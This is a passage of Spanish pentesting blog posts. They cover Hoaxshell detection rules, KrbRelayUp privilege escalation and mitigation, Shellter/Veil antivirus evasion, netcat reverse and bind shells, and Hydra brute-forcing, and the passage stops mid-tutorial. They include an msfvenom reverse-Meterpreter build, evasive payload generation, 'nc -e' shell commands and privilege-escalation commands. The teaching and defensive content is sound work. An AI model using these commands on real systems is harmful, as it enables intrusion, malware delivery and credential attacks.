Análisis y detección de Hoaxshell "¿una la shell indetectable?"

Hoaxshell proporciona de forma client-side una shell inversa que por el momento Microsoft Defender y posiblemente otros motores de AVs no están detectando ya que se basa únicamente en el tráfico http y https, según nos comenta su desarrollador. Aunque más adelante veremos como esto puede ser detectado a nivel de eventos de Windows y no por eventos producidos en la red.

Hoaxshell: obteniendo una shell remota

Nos descargamos el repositorio e instalamos el requirements.txt de python.

git clone https://github.com/t3l3machus/hoaxshell

cd ./hoaxshell

sudo pip3 install -r requirements.txt

chmod +x hoaxshell.py

Existen principalmente dos modos de ejecutar Hoaxshell o bien de forma normal donde hace uso del puerto 8080/http o bien usando un canal cifrado SSL usando el puerto 443/https, para este segundo es necesario generar un certificado auto firmado.

sudo python3 hoaxshell.py -s <your_ip>

Figura 1: Ejecución de hoaxshell obteniendo una shell inversa.

Buscando indicadores de compromiso para la detección de Hoaxshell

Analizando el tráfico de red

Si analizamos la comunicación de red una vez hemos lanzado el ataque de ejecución de la shell sin cifrar (8080/http) se monta un servidor web apache con una URI generada aleatoriamente donde la máquina víctima descargará el payload automáticamente cuando lo ejecute. Este es posible a través del llamada Invoke-WebRequest incluido en el payload codificado en base64 que veremos descodificado más adelante.

Figura 2: Hoaxshell sin cifrar - Detección de tráfico de red.

En el caso de lanzar el ataque con un certificado auto firmado vía 443/https en la captura de tráfico vemos el establecimiento de conexión Client Hello de TLS y el intercambio de claves en el handshake entre cliente/servidor. Por otro lado esto también nos genera un evento en el provider de Powershell en el cual vemos texto claro la decodificación del payload que se ejecutó en base64.

Figura 3: Hoaxshell cifrando - Detección de tráfico de red.

Analizando los eventos de Windows

En este parte ha colaborado el compañero @noloseconseguridad el cual ha podido identificar y crear los indicadores de compromiso para la detección de Hoaxshell.

En un primer momento revisamos de forma manual en el visor de eventos a ver que logs se están registrando relacionados con el provider de Powershell. 

Ejecutando con Hoaxshell una shell sin una comunicación cifrada encontramos en el registro "Microsft-Windows-Powershell/Operational" un evento con Id. 4103 en el que vemos un CommandInvocation seguido de un Invoke-Expression donde tenemos un parámetro con el nombre name="Command" que tiene un valor: whoami;split-path $pwd'\0x00'. 

Podemos saber gracias a esto, el comando ejecutado y tenemos una string la cual podemos utilizar para crear una expresión regular y generar un IOC.

;split-path $pwd'\0x00'

Figura 4: Event Id. 4103 de Powershell generado por la ejecución de Hoaxshell sin comunicación cifrada.

El payload de Hoaxshell se genera codificado en base64 tanto para obtener una shell sin cifrar como cifrada, en el caso de lanzar una shell cifrada lógicamente el tamaño del payload será más largo. Decodificando este payload podemos ver lo que está haciendo para poder invocar la shell inversa que después se nos proporciona.

Figura 5: Decodificando payload de Hoaxshell en base64.

Lanzando el ataque en su modo de comunicación cifrada vemos que nos genera en el provider de Powershell los eventos Id. 4103 e Id. 4104 mostrando en texto claro las instrucciones del scriptblock de Powershell y que coincide con la decodificación vista anteriormente en la figura 5.

Figura 6: Event Id. 4103 y 4104 de Powershell generado por la ejecución de Hoaxshell con comunicación cifrada.

Creando IOC y reglas de detección en Wazuh

En este escenario vamos a utilizar Wazuh como SIEM para la creación de los indicadores de compromiso y generar una regla de detección cuando se registre un evento relacionado con un posible ataque de Hoaxshell. Lógicamente esto puede ser exportable a otros formatos de reglas compatibles para otros sistemas de monitorización de eventos de seguridad.

En el caso de Wazuh añadimos al fichero agent.conf el provider de registro de Powershell indicando la recolección de este tipo de eventos.

Figura 7: Añadir el provider de registro Powershell/Operational.

En el fichero local_rules.xml creamos las reglas para su detección, la última regla será la que realmente nos registre el posible ataque indicando el eventID 4103 y los posibles IOCs vistos anteriormente. 

 <rule id="100535" level="0">

  <if_sid>60009</if_sid>

  <field name="win.system.providerName">^Microsoft-Windows-PowerShell$</field>

  <group>powershell,</group>

  <description>Powershell Information EventLog</description>

</rule>

<rule id="100536" level="0">

  <if_sid>60010</if_sid>

  <field name="win.system.providerName">^Microsoft-Windows-PowerShell$</field>

  <group>powershell,</group>

  <description>Powershell Warning EventLog</description>

</rule>

<rule id="100537" level="0">

  <field name="win.system.providerName">^Microsoft-Windows-PowerShell$</field>

  <field name="win.system.severityValue">^ERROR$</field>

  <group>powershell,</group>

  <description>Powershell Error EventLog</description>

</rule>

<rule id="100538" level="0">

  <if_sid>60012</if_sid>

  <field name="win.system.providerName">^Microsoft-Windows-PowerShell$</field>

  <group>powershell,</group>

  <description>Powershell Critical EventLog</description>

</rule>

  

<rule id="100540" level="12">

  <if_sid>100535</if_sid>

  <field name="win.system.eventID">4103</field>

  <field name="win.system.message" type="pcre2">(?i)powershell.exe.*-e</field>

  <field name="win.system.message" type="pcre2">(?i)Command.*;split-path.\$pwd.\\0x00</field>

  <field name="win.system.message" type="pcre2">(?i)Invoke-Expression</field>

  <description>Powershell hoaxshell detected</description>

</rule>

Por lo que se pudo comprobar y dado los indicadores de compromiso encontrados la detección es exitosa tanto si se ejecuta Hoaxshell en un modo de payload sin cifrar como con una comunicación cifrada.

Figura 8: Creación de reglas de detección e IOCs de Hoaxshell.

Con la regla guarda, ejecutamos de nuevo Hoaxshell y... bingo! vemos como nos está detectando la ejecución y generación de sesión de este tipo de shell en Powershell.

Figura 9: Alerta en la ejecución de un "Powershell hoaxshell detected"

Conclusiones

Podemos decir entonces que "esa shell indetectable" quizás no lo es tanto. Si bien es cierto que actualmente no está siendo detectada automáticamente por Microsoft Defender como protección por defecto en un sistema Windows y es posible que otros motores de antivirus tampoco lo estén haciendo hay que saber que estableciendo unas políticas de auditoría habilitadas en las máquinas, prácticamente todo deja un rastro que se acaba traduciendo en un evento o registro de log del sistema.

Sobre el tipo de payload cifrado o sin cifrar que podemos generar con Hoaxshell vemos que a nivel de evento de sistema es detectable, sin embargo a nivel de comunicación de red es realmente donde está su ventaja ya que en una comunicación sin cifrar podemos identificar la URI que genera pero en una comunicación cifrada la comunicación es TLS y no podría ser leída en un primer intento de detección.

Personalmente me resulta curioso que MS Defender no esté detectando una simple ofuscación codificada en base64 a través de Powershell y que su vez no haga un monitoreo continuo de los eventos registrados donde se encuentran decodificados. Aunque estoy seguro de que Microsoft no tardará mucho en poner solución a esto y más con el revuelo que está habiendo actualmente con Hoaxshell y su facilidad de uso.

Con la colaboración de @noloseconseguridad.

Saludos!

KrbRelayUp PrivEsc: Escalada de privilegios local en entornos Active Directory y mitigación

KrbRelayUp es una herramienta que nos permite en una post-explotación la escala de privilegios locales en máquinas unidas a un dominio Active Directory y persistencia para realizar este privesc en cualquier máquina del dominio a través de movimientos laterales hasta llegar a la máquina objetivo, de ahí su criticidad y riesgo alto.

No se trata de una vulnerabilidad en sí con un CVE asignado, sino del aprovechamiento de un fallo de configuración por defecto de Windows por parte de los controladores de dominio.

Esta explotación es exitosa en cualquier máquina cliente Windows 10 bajo controladores de dominio Window Server 2012, 2016 y 2019. Actualmente Microsoft no ha dando solución con ningún parche de actualización. 

Más información en el repositorio del autor Mor Davidovich @dec0ne:

• https://github.com/Dec0ne/KrbRelayUp

Explotación (PoC)

Previamente debemos compilar el proyecto, dejo referencia del binario ya compilado KrbRelayUp.exe (fuente de la descarga: https://kb.offsec.nl/). La explotación es sumamente sencilla, una vez comprometida la máquina y descargado el ejecutable lanzamos el exploit. Hasta el momento el servicio de protección para ejecución malware de Windows no lo detecta.

Primera fase del ataque, el usuario de dominio autenticado y sin privilegios retransmitirá una petición Kerberos a LDAP y creará una máquina de control sobre la máquina local usando RBCD.

.\KrbRelayUp.exe relay -Domain <Domain> -CreateNewComputerAccount -ComputerName <hostName>$ -ComputerPassword <Password>

Segunda fase del ataque, utilizará la máquina creada de control para obtener un ticket de servicio de Kerberos y lo utilizará para crear un nuevo servicio que se ejecute como SYSTEM (en este caso está desarrollado para lanzar un cmd.exe).

.\KrbRelayUp.exe spawn -d <Domain> -cn <HostName>$ -cp <Password>

Figura 1: Escalada de privilegios local a SYSTEM usando KrbRelayUp.exe.

Si verificamos en la consola de Active Directory (dsa.msc) vemos como se ha creado una nueva máquina "host01". 

Aclarar que esta máquina será usada como persistencia en el dominio un posible atacante podría moverse lateralmente entre máquinas aprovechando el principio de localidad hasta llegar a una máquina servidor objetivo donde estuviese autenticado un usuario del grupo administradores de dominio o el propio administrador de dominio. Al poder escalar privilegios a SYSTEM sería más que posible realizar un volcado de hashes en memoria de dicha cuenta.

Por esta razón considero que se trata de algo crítico, con un alto riesgo de seguridad y que se debería subsanar lo antes posible. Más adelante veremos como mitigar esto.

Figura 2: Creación de la máquina maliciosa por parte de un usuario del dominio en Active Directory.

Detección (Event ID 4768)

Este artículo no está enfocado al detalle de detección, sino más bien a la explotación y mitigación de esta vulnerabilidad. Considero que en este caso es más eficiente realizar una mitigación para este fallo de configuración que generar las alertas de detección en nuestro SIEM.

La mitigación para esta vulnerabilidad tiene una sencilla implementación a nivel global de todo el dominio, sin embargo en las reglas de detección se nos puede escapar algo nuevo y que no se estaría alertando.

Uno de los logs que podemos registrar (en una configuración de Auditoría por defecto de AD) sería el evento 4768 "Solicitud de ticket de autenticación de Kerberos (TGT)". Donde el Account Name sería la creación de máquina en AD.

Figura 3: EventID 4768 - Autenticación Kerberos solicitud de ticket TGT del host malicioso

También he intentado buscar un evento estado buscando un evento 4741 "Creación de una cuenta de máquina", sin éxito. Es posible que la incorporación de Sysmon nos pueda dar más detalles para su detección y poder crear un indicador de compromiso válido.

Para el uso de reglas Sigma y otros eventos de Windows aconsejo consultar el repositorio donde se mantiene actualizada esta información.

• https://github.com/Dec0ne/KrbRelayUp#mitigation--detection

Mitigación y verificación

Para evitar el aprovechamiento de esta mala configuración por defecto en entornos de dominio, podemos elegir diversas opciones de mitigación:

• Opción 1. Requerir firma LDAP del servidor.
  
• Opción 2: Eliminar los permisos de los "usuarios autenticados" para que no puedan unir máquinas al dominio.
• Opción 3. Limitar el valor del atributo MS-DS-Machine-Account-Quota.

Opción 1. Requerir firma LDAP del servidor

Debemos aplicar únicamente la siguiente política en la GPO "Default Domain Controllers Policy":

Polices > Windows Settings > Security Settings > Local Polices > Security Options > "Domain controller: LDAP server signing requirements" y establecerla como "Require signing"

De esta forma se rechazan las solicitudes de LDAP simples y solicitudes LDAP a través de SSL. Esto puede tener impacto en sistemas Windows XP o Server 2003.

No es necesario aplicar ambas políticas: "Network Security: LDAP client signing requirements" y "Domain controller: LDAP server signing requirements" en la GPO Default Domain Policy.

Figura 4: Mitigación KrbRelayUp - Aplicar política "Domain controller: LDAP server signing requirements".

Verificamos la mitigación y vemos que al aplicar esta política la conexión LDAP falla. En la segunda fase del exploit tampoco es posible realizar la conexión solicitando el ticket Kerberos TGT para autenticarnos en la máquina creada y poder levantar la terminal privilegiada SYSTEM.

Aunque el ataque no fue exitoso, si ha sido posible crear una nueva máquina en el dominio, no nos daría persistencia ya que la autenticación no se va poder realizar en ningún caso, pero en caso de ejecutar el ataque se estarían creando de forma residual estas máquinas en la OU por defecto de "Computers".

Figura 5: Verificación mitigación - LDAP server signing requirements.

Opción 2. Eliminar los permisos de los "usuarios autenticados" para que no puedan unir máquinas al dominio

De todas las opciones de mitigación que se comentan en este artículo, es la que aplicaría por escalabilidad y gestión centralizada de permisos a través de grupos de seguridad de Active Directory.

Debemos aplicar únicamente la siguiente política en la GPO "Default Domain Controllers Policy":

Polices > Windows Settings > Security Settings > Local Polices > User Rights Assignment > "Add workstations to domain"

Por defecto esta política establece que todos los "usuarios autenticados" tienen la capacidad de unir máquinas al dominio. Un solución sería eliminar este grupo y agregar los grupos que autorizados para realizar esta tarea. En este caso agregué "Domain Admins" y un grupo específico creado en AD de este modo podremos agregar otros grupos o usuarios específicos y autorizados pudiendo así granular los permisos para realizar esta tarea.

Figura 6: Mitigación KrbRelayUp - Limitar permisos para la política "Add worksations to domain".

Con esta política propagada y aplicada en los DCs, si probamos a ejecutar nuevamente el exploit vemos que falla mostrando un mensaje de que el usuario no tiene permisos suficientes (esto se refiere a que no es posible que este usuario pueda crear máquinas unidas al dominio).

Lógicamente esta opción no llegará ni si quiera a crear la máquina en AD. Por lo que ya estaríamos eliminando una posible persistencia en el dominio por parte del atacante.

Figura 7: Verificación mitigación - Permisos insuficientes para poder unir máquinas al dominio.

Opción 3. Limitar el valor del atributo MS-DS-Machine-Account-Quota

Otra mitigación que dificultaría los requisitos del ataque sería limitar limitar el número de máquinas que un usuario pueda unir al dominio. Si optamos por esta opción debemos establecer un valor 0 al atributo del dominio ms-DS-MachineAccountQuota.

Este atributo lo podemos encontrar y editar directamente desde las propiedades del dominio en una consola de Active Directory (dsa.msc) o también acceder a él a través desde la consola de editor ADSI (adsiedit.msc).

Figura 8: Mitigación KrbRelayUp - Limitar el valor del atributo ms-DS-MachineAccountQuota.

Si verificamos la aplicación de este cambio vemos como al intentar ejecutar el exploit el servidor no puede gestionar esta solicitud, esto estaría bloqueando el ataque y tampoco crearía la máquina en AD evitando así, al igual que la opción anterior, una posible persistencia en el dominio.

Figura 9: Verificación mitigación - ms-DS-MachineAccountQuota = 0.

Si con el mismo usuario, desde otra máquina nueva, intentamos unirla al dominio de modo gráfico nos muestra el siguiente error indicando que "hemos superado el número máximo de cuentas de máquina que puedes crear o unir en este dominio".

Figura 10: Verificación mitigación - Mensaje de error al intentar unir una máquina al dominio.

¿Cómo identificar quién agregó un nueva maquina al dominio?

El usuario "user.sinpriv" es un usuario de dominio sin ningún otro privilegio otorgado, sin embargo el exploit hace uso del cmdlet New-AddComputer sumado a esta configuración por defecto en entornos de dominio este usuario puede crear máquinas en Active Directory. 

Podemos identificar y verificar quien a creado una máquina en AD examinando el atributo ms-DS-CreatorSID.

Get-ADComputer <Host> -Properties mS-DS-CreatorSID | Select-Object -Expandproperty mS-DS-CreatorSID | Select-Object -ExpandProperty Value | Foreach-Object {Get-ADUser -Filter {SID -eq $_}}

Figura 10: Identificar al usuario en la creación de nuevas máquinas unidas al dominio.

Saludos!

Shellter y Veil-Evasion: Evasión de antivirus ocultando shellcodes de binarios

Hay diversas técnicas para establecer una sesión hacia una máquina remota. Una de ellas es la generación de un fichero binario que sea ejecutado por la víctima, este binario tendrá un payload configurado que nos proporcionará una shell remota estableciendo una conexión directa o inversa hacia el equipo de la víctima, consiguiendo así una sesión en el mismo contexto de integridad del usuario que ejecutó el binario.

Se trata de un tipo de ataque client-side donde será el usuario final quien interactúe ejecutando el fichero malicioso. La forma de envío de estos ejecutables hacia la máquina remota sin tener una sesión previa puede ser de muchas formas: En el caso de tener acceso físico a la organización distribuir unidades externas usb con el binario esperando que alguien lo ejecute o envío de emails en el que se adjunte el fichero o un hipervínculo que redirige a una web externa donde se descargará (esto suele ser muy habitual). 

El principal "inconveniente" que nos encontramos como pentesters a la hora de ejecutar este método es que estos binarios ya sea por su contenido, sus firmas, morfología, etc. es probable que sea detectado y bloqueado por los fabricantes de antivirus o antimalware. 

Una forma de eludir binarios para evitar ser detectados es aplicar una capa de ocultación en su payload. Los encoders es una opción pero no suelen ser efectivos, sin embargo existen herramientas como Shellter y Veil-Evasión que generan sus propios payloads predefinidos utilizando crypters entre otras técnicas de ofuscación y que los hacen menos detectables para los sistemas de antivirus.

Comparativa de detección por antivirus de binarios con payloads maliciosos

msfvenom

msfvenom se trata de una herramienta que combina msfpayload para la generación de payloads y msfencode para la "ocultación" de payloads. 

Podemos generar binarios de forma sencilla estableciendo una serie de parámetros como puede ser la dirección IP y puerto a la que se conectará la máquina remota cuando ejecute el binario, tipo de arquitectura, payload, enconder (por defecto usará shikata_ga_nai) y caracteres de escape que puedan ocasionar algún tipo de error en la generación del binario.

Para generar un payload que establezca una conexión inversa con un Meterpreter y que sea compatible con sistemas Windows de arquitecturas x86 de 32 bits. 

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=10.0.0.19 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b '\x00' -f exe > shell.exe

Figura 1: Generar binario malicioso payload meterpreter con msfvenom.

En virustotal.com podemos analizar en varios motores de antivirus el binario generado con msfvenom y conocer que antivirus lo detectan como malicioso y cuales no. Como se ve en la captura ha sido analizado por 71 antivirus de los cuales lo han detectado 56.

Figura 2: Tasa de detección de malware en VirusTotal.com de un binario generado con msfvenom.

Shellter Framework

Shellter Framework se trata de una herramienta/framework con la que podemos elegir unos binarios preestablecidos ubicados en /usr/share/windows-binaries el que escojamos se le añadirá un payload con utilizando crypters dificultando así la detección por los antivirus.

Ejecutamos Shellter e indicamos el binario, en este caso vncviewer.exe.

Figura 3: Shellter - Seleccionar binario vncviewer.exe.

Seleccionamos el tipo de payload ya predefinidos para aplicar en el binario anterior y una IP y puerto local de la máquina atacante para establecer la conexión con la máquina remota cuando ejecute el binario.

Figura 4: Shellter - Seleccionar y configurar payload en el binario vncviewer.exe.

Una vez generado el binario por Shellter comprobamos la detección en virustotal. En este ocasión vemos como el mismo tipo de payload ha sido detectado por 22 antivirus de un total de 69.

Figura 5: Detección del binario malicioso generado con Shellter en VirusTotal.com.

Veil-Evasion Framework

Veil-Evasion Framework se trata de otra alternativa a Shellter. Con la misma idea dispone de una gran cantidad de payload predefinidos en diversos lenguajes, no es necesario escoger un binario como en el caso de Shellter podemos generar nuestro propio binario aplicando el payload que queramos.

Ejecutamos el Veil-Evasion Framework, con use 1 elegimos la modalidad de Evasion, listamos los payloads disponibles con list.

Figura 6: Veil-Framework - Seleccionar tipo y lista de payloads disponibles.

Como ejemplo desde la lista seleccionamos el número que corresponde al payload "go/meterpreter/rev_tcp". Con set LHOST y set LPORT establecemos la dirección IP y puerto local a la que se conectará la máquina remota y generamos el binario con generate.

Figura 7: Veil-Framework - Configurar payload y generar binario.

También podemos generar estos binarios de forma no interactiva sin necesidad de interactuar ni ejecutar el framework completamente. Siguiendo el ejemplo anterior sería algo así.

./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 10.0.0.19 --port 4444 -o shell2

Figura 8: Veil-Framework CLI - Configurar y generar binario en una sola línea de instrucción.

Finalmente subimos este binario para analizarlo en virustotal y compararlo con Shellter. La detección de antivirus es de 43 de 70. Aunque es cierto que se trata de otro tipo de payload, la detección es más elevada que en el caso de Shellter.

Figura 9: Detección del binario malicioso generado con Veil-Framework en VirusTotal.com.

Conclusiones

Vistas las comparativas de detección, msfvenom quedaría descartado y Shellter se colocaría en una mejor posición respecto a Veil-Evasion. 

Lógicamente esto no evita el ser detectados pero se trata de una técnica más que podemos aplicar de forma rápida y sencilla para evitar que nuestro binario con una shellcode sea detectado por un número determinado de antivirus pudiendo así facilitar una intrusión a un sistema de forma directa tipo client-side en un ejercicio de penteting.

Saludos!

Conexiones directas e inversas con Netcat (nc): Obteniendo shells, transferencia de ficheros, banner grabbing y TCP/UDP Scan

Netcat es una herramienta de red que permite a través de intérprete de comandos abrir puertos TCP/UDP en un HOST, asociar una shell a un puerto en concreto y forzar conexiones UDP/TCP.

Para ver ejemplos tendremos una máquina Kali (10.0.0.10) con netcat ya instalado y una máquina Windows (10.0.0.19) donde podemos descargar y usar los binarios de netcat para Windows.

Un ejemplo de uso sencillo donde podemos enviarnos información de texto de una máquina a otra como si de un chat se tratara.

nc sería el comando para invocar a netcat. Windows se queda a la escucha -l a espera de establecer la conexión, en modo verbose -v, en el puerto 1190 -p.

nc -lvp 1190

Kali se conecta iniciando la conexión a la dirección IP de la máquina Windows por el puerto 1190.

nc 10.0.0.10 1190

Figura 1: Conexión con netcat nc.

Ejecutando shells en tipo de conexiones directas e inversas

Figura 2: Esquema de conexiones de shells directas e inversas.

En los próximos escenarios se usarán las siguientes máquinas:

• Kali: 10.0.0.10
• Windows: 10.0.0.19
• Puerto de ejemplo: 1190

Conexión directa

Para crear un conexiones directas entre las máquinas Kali y Windows, la máquina víctima se pondrá a la escucha en un puerto y la máquina atacante se conectará directamente a ella estableciendo la conexión. Estas conexiones pueden ser rechazas por el firewall de la máquina víctima ya que inicialmente la conexión es establecida por la máquina atacante.

• Escenario A: Kali será el atacante y Windows será la víctima.

Windows se pondrá a la escucha en el puerto 1190 ejecutando (ofreciendo ya que está en modo listen -l) una consola Powershell -e.

nc -lvp 1190 -e powershell.exe

Kali se conectará de forma directa estableciendo una conexión a la IP y puerto de la máquina Windows consiguiendo así la Powershell ofrecida.

nc 10.0.0.10 1190

Figura 2: Conexión directa Powershell. Windows listen Kali conecta.

• Escenario B: Kali será la víctima y Windows será el atancate.

Para crear una conexión directa desde una máquina Windows a una máquina Kali (al contrario que el ejemplo anterior).

Kali se pondrá a la escucha en el puerto 1190 sirviendo una shell /bin/bash para ser ejecutada.

nc -lvp 1190 -e /bin/bash

Windows se conectará a la IP y puerto de la máquina Kali y recibirá la ejecución ofrecida, en este caso una shell bash.

nc 10.0.0.19 1190

Figura 3: Conexión directa /bin/bash. Kali listen Windows conecta.

Conexión inversa

Para crear conexiones inversas entre las máquinas Kali y Windows, la máquina atacante se pondrá en un puerto a la escucha y la máquina víctima se conectará a ella. Estas conexiones tienen un mayor éxito de ser establecidas ya que es la máquina víctima es quien inicia la conexión hacia la máquina atacante y esto evitará un posible bloqueo de la conexión en el firewall del equipo víctima.

• Escenario A: Kali será el atacante y Windows será la víctima.

Kali será el atacante que se pondrá a la escucha en el puerto 1190 esperando establecer una conexión.

nc -lvp 1190

Windows será la víctima que se conectará a la máquina Kali ejecutando una cmd en la máquina que espera la conexión que será la máquina atacante. Kali recibirá la conexión y la cmd de la máquina víctima.

nc 10.0.0.19 1190 -e cmd.exe

Figura 5: Conexión inversa cmd. Kali listen Windows connecta.

• Escenario B: Windows será el atacante y Kali será la víctima.

Al contrario que el ejemplo anterior, ahora la máquina Windows será la atacante para recibir una shell bash de la máquina víctima Kali.

Windows es la máquina atacante que se pone a la escucha en el puerto 1190 esperando recibir una conexión por parte de la máquina víctima Kali que tendrá la ejecución de un shell bash. 

nc -lvp 1190

Kali es la máquina víctima que se conecta a la IP y puerto de la máquina atacante ejecutando y consiguiendo así una shell bash para la máquina atacante Windows. 

nc 10.0.0.10 1190 -e /bin/bash

Figura 4: Conexión inversa /bin/bash. Windows listen Kali conecta.

El tráfico generado con netcat no está cifrado por lo que es posible capturarlo y visualizarlo en texto plano.

Figura 6: Análisis del tráfico generado con netcat.

Existe una alternativa similar a netcat llamada cryptcat que emplea comunicaciones cifradas, se trata de un proyecto que no se actualizada desde 2005 está desarrollado en lenguaje C su código fuente está disponible pero será necesario compilarlo con Visual Studio y generar el binario para sistemas Windows.

Transferencia de ficheros

En estos escenarios será el mismo enfoque en ambos, transferir un fichero desde la máquina atacante a la máquina víctima. 

La diferencia radica en el sentido de las conexiones, que máquina estará a la escucha y cual establecerá la primera conexión.

• Escenario A: Envío de un fichero desde la máquina atacante que establece la conexión inicial, hacia la máquina víctima que permanece a la escucha.

Kali será la máquina desde donde queremos enviar el fichero hacia la máquina remota. Establecemos la conexión a la IP y puerto de la máquina Windows indicando el fichero a transferir como entrada de la conexión con el signo menor que <. 

nc 10.0.0.10 1190 < file.exe

Windows recibirá el fichero manteniéndose a la escucha en el puerto 1190 esperando recibir el fichero redireccionando su salida con el signo mayor que >.

nc -lvp 1190 > file.exe

Figura 7: Transferencia de ficheros con netcat.

• Escenario B: Envío de un fichero desde la máquina atacante que permanece a la escucha, hacia la máquina víctima que establece la conexión inicial.

Otra forma de hacerlo sería invirtiendo las conexiones de escucha, aplicando la misma finalidad.

Desde la máquina Kali nos ponemos a la escucha con el fichero.

nc -lvp 1190 < file.exe

Desde la máquina remota Windows establecemos la conexión a la IP y puerto de la máquina Kali indicando como salida el fichero a recibir.

nc 10.0.0.19 1190 > file.exe

Figura 8: Transferencia de ficheros con netcat.

Transferencia de directorios

Para transferir directorios podemos usar el mismo método que enviar un archivo con la diferencia de que previamente podemos comprimir o empaquetar el directorio con tar o zip para posteriormente desempaquetarlo en la máquina destino.

Kali será la máquina donde estará el directorio que queremos transferir, empaquetamos el directorio en un fichero comprimido, hacemos un cat y el fichero comprimido concatenando la salida con una pleca | a netcat donde nos ponemos a la escucha en el puerto 1190 a la espera de recibir una conexión. 

zip data.zip data
cat data.zip | nc -lvp 1190 

Windows será la máquina que recibirá el fichero comprimido que contendrá el directorio, establecemos la conexión a la IP y puerto de la máquina Kali indicando una redirección > y un nombre para el fichero a recibir.

nc 10.0.0.10 1190 > data.zip

Figura 9: Transferencia de directorios (empaquetando el directorio) con netcat.

Envío de información en tiempo real

Com ejemplo usaremos netcat para la transferencia de datos a tiempo real como puede ser un fichero de log.

Kali será la máquina donde se alojará el fichero de log que registra los accesos a un servidor web (/var/log/apache2/access.log), con tail -f e indicando el fichero de log veríamos en pantalla la información actualizándose de forma dinámica en tiempo real, concatenando la salida con un pipe | a netcat IP y puerto hacia la máquina remota Windows que estará a la escucha.

tail -f /var/log/apache2/access.log | nc 10.0.0.10 1190

Windows será la máquina que estará a la escucha en el puerto 1190 a la espera de recibir datos del fichero de log enviado desde la máquina Kali.

nc -lvp 1190

Figura 10: Envío de información en tiempo real de un fichero log con netcat.

Otros usos de netcat

TCP Scan

Podemos usar netcat como herramienta simple para el escaneo de puertos hacia una IP remota, indicando un rango de puertos. El modo de escaneo por defecto es TCP y nos mostrará aquellos puertos y el nombre del servicio/protocolo asociado en caso de que el puerto esté abierto, los puertos cerrados no los mostrará.

• -v: verbose
• -z: modo zero-i/o (solo informe de estado de conexión)
• -n: solo números IP

nc -vzn 10.0.0.11 21-80

Figura 11: TCP Scan - Escaneo de puertos en modo TCP con netcat. 

UDP Scan

Nos permite hacer el mismo escaneo pero usando un modo UDP (parámetro -u). Nos mostrará todos los puertos escaneados, indicando cualquier está abiertos y cerrados, en el caso de los abiertos nos indicará el nombre del servicio/protocolo asociado a ese puerto.

• -u: modo UDP

nc -vzu 10.0.0.11 21-80

Figura 12: UDP Scan - Escaneo de puertos en modo UDP con netcat.

Banner Grabbing

Por último podemos usar netcat para intentar obtener la información del banner de servicios abiertos en las máquinas remotas. Esto se conoce como técnicas Banner Grabbing.

nc 10.0.0.11 22

nc 10.0.0.11 21

Figura 13: Banner Grabbing - Obteniendo información de versión de servicios SSH y FTP con netcat.

Web de referencia

Reverse Shell Generator: https://www.revshells.com

Conclusiones

En un principio puede resultar confuso entender que diferencias existen entre las conexiones directas e inversas con netcat. Para tenerlo claro hay que entender quién será la máquina atacante y quien será la víctima.

En una perspectiva desde una máquina atacante a una máquina víctima. Las conexiones directas el atacante establecerá la conexión inicial conectándose a un puerto a la escucha establecido en la máquina víctima. Las conexiones inversas el atacante se pondrá en un puerto a la escucha esperando recibir un inicio de conexión desde la máquina víctima proporcionando al atacante una shell interactiva en su ejecución.

Aplicando estos conceptos podemos entender el funcionamiento de conexiones que usa Metasploit para ofrecernos un Meterpreter o una Shell de forma directa o inversa. Un ejemplo sería un handler a la escucha y la construcción de un binario ejecutable donde su payload puede ser una instrucción netcat ejecutando una shell o cualquier otro código que deseemos.

Por otro lado, es interesante conocer que con netcat tenemos la posibilidad de realizar TCP/UDP Scan y Banner Grabbing a máquinas remotas. Es cierto que para esto ya tenemos nmap entre otras herramientas pero no está de más tenerlo en cuenta. 

Saludos!

Hydra, Medusa y Ncrack: Password cracking a servicios por fuerza bruta en profundidad y en anchura (Password spraying)

THC-Hydra, Medusa y Ncrack son herramientas para realizar ataques de fuerza bruta a servicios activos cliente/servidor como: ssh, ftp, rdp, smb, mysql, telnet, http, imap, vnc, etc.

Para mostrar el uso de estas herramientas usaré el siguiente escenario de ejemplos. Escaneando con nmap los equipos remotos y puertos empleados para cada tipo de servicio.

nmap -p 21 10.0.0.16      # Windows 7 servicio FTP
nmap -p 3389 10.0.0.16    # Windows 7 servicio RDP
nmap -p 445 10.0.0.16     # Windows 7 servicio SMB/CIFS
nmap -p 22 10.0.0.40      # Linux servicio SSH

Figura 1: Escaneo de puertos a máquina en servicios SSH, RDP, FTP y SMB.

THC-Hydra

Hydra es una de las herramientas más conocidas para este tipo de ataques a servicios online. Hay que tener en cuenta que este tipo de ataques son activos y no pasivos, por lo que hay una interacción con el servicio que vamos comprometer mediante un intento de autenticación de credenciales.

Esto creará un evento en el log de la máquina remota servidora del servicio, en el caso de tener algún tipo de control de eventos en el endpoint se podrían detectar intentos de conexión con credenciales erróneas y disparar alertas.

Principalmente se pueden definir 3 tipos de ataques:

• Fuerza bruta por diccionario con múltiples usuarios y passwords
• Fuerza bruta en profundidad
• Fuerza bruta en anchura o Password spraying

Fuerza bruta por diccionario con múltiples usuarios y passwords

Este tipo de ataques se caracterizan por usar un wordlist tanto para un conjunto de usuarios y de contraseñas en plano previamente definidos. En el siguiente ejemplo hay nombres de usuarios y contraseñas definidos en los ficheros "users" y "wordlist" respectivamente a un intento de conexión a la máquina remota 10.0.0.16 que será un Windows 7 con un servicio FTP.

hydra -L users -P wordlist -vV 10.0.0.16 ftp

• -L: Fichero que contiene la lista de usuarios.
• -P: Fichero que contiene la lista de passwords.
• -v: Modo verbose
• -V: Muestra el intento por cada login+pass
• 10.0.0.16 ftp: Especificamos la IP de la máquina remota y el tipo de servicio.

El usuario "ventas" y la password "Pa$$w0rd123" serán las credenciales válidas para acceder al servicio FTP. Hydra probará intentos de conexión al servicio haciendo un barrido entre las distintas posibilidades combinatorias entre los distintos usuarios y contraseñas definidas.

Figura 2: Hydra - Fuerza bruta por diccionario con múltiples usuarios y passwords al servicio FTP.

Como ya comenté anteriormente, estos ataques son reconocimiento activos por lo que dejan un rastro en el log del servidor remoto. En la siguiente captura se puede ver el intento de conexión fallida al intentar autenticarse con el usuario "luis" y su password en el servidor FTP remoto.

Figura 3: Log en el servidor FTP del intento de autenticación.  

Fuerza bruta en profundidad

Fuerza bruta en profundidad o fuerza bruta, a secas: Se trata utilizar muchas contraseñas para una sola cuenta de usuario.

Como ejemplo se realiza un ataque de fuerza bruta al servicio RDP a una cuenta concreta llamada "maria" y probar un wordlist con varias contraseñas posibles.

